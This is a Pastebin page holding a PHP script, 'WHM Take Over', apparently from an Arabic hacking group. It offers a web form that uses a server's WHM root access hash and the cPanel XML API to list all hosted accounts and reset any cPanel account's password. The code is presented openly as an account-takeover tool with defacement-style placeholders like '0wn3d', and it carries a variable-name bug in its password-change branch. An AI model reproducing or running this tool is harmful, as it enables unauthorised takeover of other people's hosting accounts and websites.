HaNniBaL-KsA

WHM Take Over

Jun 18th, 2014
422
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.59 KB | None | 0 0
  1. <?php
  2. #
  3. # alm3refh.com | Group-XP
  4. # Name   : WHM Take Over
  5. # Coder  : HaNniBaL-KsA
  6. # Twitter: @r00t3rz
  7. #    -----------------------------------------
  8. #    NOTE!! :
  9. #    Use these scripts entirely at your own risk.
  10. #    The author cannot be held responsible for any damage, direct nor consequential,
  11. #    caused by the use of, or inability to use the techniques or scripts presented here.
  12. #    " AND THIS FILE IS UNDER The GNU General Public License v3.0 "
  13.  
  14. error_reporting(0);
  15. set_time_limit(0);
  16.  
  17. include 'xmlapi.php';
  18.   ##
  19.  # POST
  20.  ##
  21.  $ip = $_POST['ip'];
  22.   $user = $_POST['user'];
  23.   $root_hash = $_POST['hash'];
  24.   $target = $_POST['target'];
  25.   $pass = $_POST['pass'];
  26.   $acc = $_POST['acc'];
  27.   $change = $_POST['change'];
  28.   ##
  29.  # HTML
  30.  ##
  31.    echo '
  32.    <!DOCTYPE html>
  33.    <html dir="ltr">
  34.    <head>
  35.    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  36.    <title>WHM Take Over | Alm3refh.com</title>
  37.    <pre>
  38.    
  39. __          ___    _ __  __   _______    _           ____                
  40. \ \        / / |  | |  \/  | |__   __|  | |         / __ \                
  41. \ \  /\  / /| |__| | \  / |    | | __ _| | _____  | |  | |_   _____ _ __
  42.  \ \/  \/ / |  __  | |\/| |    | |/ _` | |/ / _ \ | |  | \ \ / / _ \ \'__|
  43.   \  /\  /  | |  | | |  | |    | | (_| |   <  __/ | |__| |\ V /  __/ |  
  44.    \/  \/   |_|  |_|_|  |_|    |_|\__,_|_|\_\___|  \____/  \_/ \___|_|  
  45.  
  46.    </pre>
  47.    <b>WHM Take Over @ alm3refh.com<br/>By: HaNniBaL-KsA @r00t3rz</b><br/><br/>
  48.    <form action="" method="post">
  49.    <br/>IP   :<input name="ip" type="text" value="ex: 127.0.0.1">
  50.    <br/>User : <input name="user" type="text" value="ex: hk">
  51.    <br/>Hash : <input name="hash" type="text" value="ex: alm3refh-1337"><br/><br/>
  52.    List of accounts: <input name="acc" type="submit" value="# List of accounts"/><br/>
  53.    <br/>Change a cPanel Account\'s Password:<br/> targte-user: <input name="target" type="text" value="ex: target">&nbsp;new Password: <input name="pass" type="text" value="ex: 0wn3d">
  54.    <input name="change" type="submit" value="# Change"/><br/><pre>
  55.    ';
  56. if($acc){
  57.   $xmlapi = new xmlapi($ip);
  58.   $xmlapi->hash_auth($user,$root_hash);
  59.   $xmlapi->return_xml(1);
  60.   $xmlapi->set_debug(1);
  61.   echo "<b>[ accounts #] :</b><br/><br/>";
  62.   print $xmlapi->listaccts();
  63. }
  64. if($achange) {
  65.   $xmlapi = new xmlapi($ip);
  66.   $xmlapi->hash_auth($user,$root_hash);
  67.   $xmlapi->return_xml(1);
  68.   $xmlapi->set_debug(1);
  69.   echo "<b>[ change #] : Done!</b><br/><br/>";
  70.   $xmlapi->passwd($target, $pass);
  71. }
  72. echo "</pre><br/><br/><br/>copyright 2014 &copy; alm3refh.com";
  73. ?>
Advertisement
Add Comment
Please, Sign In to add comment